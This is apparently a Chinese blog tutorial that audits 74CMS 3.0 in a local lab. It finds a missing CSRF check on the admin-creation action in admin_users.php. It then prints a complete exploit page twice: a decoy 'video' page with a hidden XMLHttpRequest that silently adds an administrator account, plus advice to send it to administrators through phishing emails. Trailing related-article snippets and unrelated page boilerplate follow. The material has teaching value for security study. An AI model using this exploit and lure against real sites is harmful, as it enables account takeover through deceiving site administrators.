一、 启动环境

1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件

2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定

漏洞分析

1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_users.php页面,右侧页面可以看到相关代码。

elseif($act == 'add_users_save')
{if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足!",1);$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名!',1);if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在!',1);$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email!',1);if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误!',1);$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);if (strlen($password)<6)adminmsg('密码不能少于6位!',1);if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同!',1);$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);$setsqlarr['add_time']=time();$setsqlarr['last_login_time']=0;$setsqlarr['last_login_ip']="从未";$setsqlarr['pwd_hash']=randstr();$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);     if (inserttable(table('admin'),$setsqlarr)){$link[0]['text'] = "返回列表";$link[0]['href'] ="?act=";adminmsg('添加成功!',2,$link);}else{adminmsg('添加失败',1);}
}

其中当获取的act参数为add_users_save时,执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,如果没有权限则直接终止掉下面紧接着进入添加管理员操作,最后将setsqlarr数组执行inserttable操作,将管理员插入数据库。中间并没有检查用户来源操作,如:Token、验证码等。

漏洞利用

1.首先需要构造一个攻击页面,由于添加用户需要POST发送数据,所以不能通过简单执行GET请求,需要在攻击页面执行Ajax请求,异步发送数据。
2.攻击JavaScript代码

<script>function  add() {var  xmlhttp = new XMLHttpRequest();var  xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp.withCredentials='true'; //跨域请求是否提供凭证xmlhttp.send(xmldata);}
</script>

HTML展现页面

<body "add()"><img src="3333.gif">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>--></body>

3.诱导管理员访问该页面可以使用钓鱼邮件,网站发送建议等。

访问以后用户看到就是普通一段视频,但是Ajax已经异步把数据提交到后台。

登录后台发现,已经成功添加zhangsan这个用户

完整代码
CSRF.php

<html>
<head><meta charset="utf-8"><title>欢迎看片</title><script>function  add() {var  xmlhttp = new XMLHttpRequest();var  xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp.withCredentials='true'; //跨域请求是否提供凭证xmlhttp.send(xmldata);}</script>
</head>
<body "add()"><img src="3333.gif">
<!--    <video width="544" height="960" controls>-->
<!--        <source src="3333.gif" type="video/mp4">-->
<!--        您的浏览器不支持 HTML5 video 标签-->
<!--    </video>--></body>
</html>

74CMS 3.0 CSRF漏洞相关推荐

  1. web安全-----CSRF漏洞

    简述 CSRF:Cross-site request -forgery,跨站请求伪造,是一种web攻击方式,是由于网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个 ...

  2. csrf漏洞防御方案_CSRF 漏洞原理详解及防御方法

    跨站请求伪造:攻击者可以劫持其他用户进行的一些请求,利用用户身份进行恶意操作. 例如:请求http://x.com/del.php?id=1是一个删除ID为1的账号,但是只有管理员才可以操作,如果攻击 ...

  3. 【CSRF漏洞-01】跨站请求伪造漏洞靶场实战

    概述 跨站请求伪造(Cross-site request forgery,CSRF)是一种攻击,它强制终端用户在当前对其进行身份验证后的web应用程序上执行非本意的操作. CSRF攻击的主要目的在伪造 ...

  4. csrf漏洞复现(附源码)

    csrf全称跨站请求伪造,攻击者盗用受害者用户的身份,以受害者的身份发送恶意请求 下面进行复现,(本人前端.后端小白,代码有些不规范,大佬们见谅) 这里我创建了三个文件 login.php是用户的登入 ...

  5. 《WEB安全漏洞100讲》(第4讲)CSRF漏洞

    1.CSRF漏洞原理 CSRF(Cross-site request forgery),跨站请求伪造,简写 CSRF/XSRF.指利用受害者尚未失效的身份认证信息(cookie.会话等),诱骗其点击恶 ...

  6. dedecms友情链接plus/flink.php页面出错,DedeCMS友情链接flink_add Getshell漏洞管理员CSRF漏洞...

    DedeCMS友情链接漏洞,DedeCMS漏洞, 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量写入任意的代码. 又由于应用 ...

  7. CSRF漏洞检测与发现

    1.首先明白什么是CSRF漏洞 跨站请求伪造,这里刚入门的同学肯定不明白是什么意思,其实重点在于请求伪造 简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作 ...

  8. 74CMS 5.0.1后台RCE复现过程

    在74CMS 5.0.1版本中的管理后台由于过滤不严谨,可以向配置文件写入恶意代码导致任意代码执行. file_put_contents('写进去的文件名称和格式',写的内容) 一句话木马:<? ...

  9. 百度某系统登陆页面跨站及CSRF漏洞

    漏洞详情 披露状态: 2010-07-25: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商已经确认,细节仅向厂商公开 1970-01-11: 细节向核心白帽子及相关领域专家公开 19 ...

  10. 【Web安全笔记】之【4.0 常见漏洞攻防】

    文章目录 4.0 常见漏洞攻防 4.1 SQL注入 4.1.1 注入分类 1. 简介 2. 按技巧分类 1). 盲注 2). 报错注入 3). 堆叠注入 3. 按获取数据的方式分类 1). inban ...

最新文章

  1. IOS报错:Unexpected ‘@’ in program
  2. jacoco统计server端功能测试覆盖率
  3. 前端 input怎么显示null_小猿圈WEB前端之HTML5+CSS3面试题(一)
  4. 带有Netflix Ribbon的Spring Cloud Rest Client-基础知识
  5. sql中的while循环_SQL While循环:了解SQL Server中的While循环
  6. (第二章)mysql创建数据库
  7. adb命令检测手机bl有无上锁_用adb命令解bl锁
  8. python自动生成和文件同名的文件夹,并将文件移动到同名文件夹中
  9. VMare虚拟机无法识别USBkey问题
  10. 如何关闭135,139,445高危端口
  11. 局域网组网 | 路由器常用命令
  12. java实现 zip rar 7z 压缩包解压
  13. navicate preminum 12 for Mac 破解版
  14. ManjaroLinux扩展显示器,连接显示器。
  15. 资讯类网站增量式爬虫
  16. 历届法国《电影手册》年度十佳电影
  17. php 7天余额显示不出来的,为何我在余额宝里面放了两千元钱,三天以后还是看不到收益?请问手机余额宝的收益在哪里可以看到?还有余...
  18. uniapp - Map地图组件属性示例
  19. 计算机数值模拟区域模拟,古地温史计算机数值模拟
  20. cartographer算法(一)——概述及框架

热门文章

  1. AutoCAD二次开发学习文档
  2. android触摸屏原理,智能手机触摸屏的工作原理是如何的
  3. 电子设计自动化实验 实验三 频率计制作
  4. texlive的安装
  5. moea切比雪夫_基于分解的多目标进化优化MOEA/D之切比雪夫方法代码
  6. mac电脑usb连接android手机,【已解决】安卓手机小米9如何连接到Mac电脑中去拷贝手机中图片...
  7. PHP爬虫常用技术:v8js(执行js代码)
  8. 从世界第一黑客到顶级安全咨询专家,凯文•米特尼克的传奇
  9. parted 对nvme盘进行分区
  10. bzoj2821 作诗(Poetize)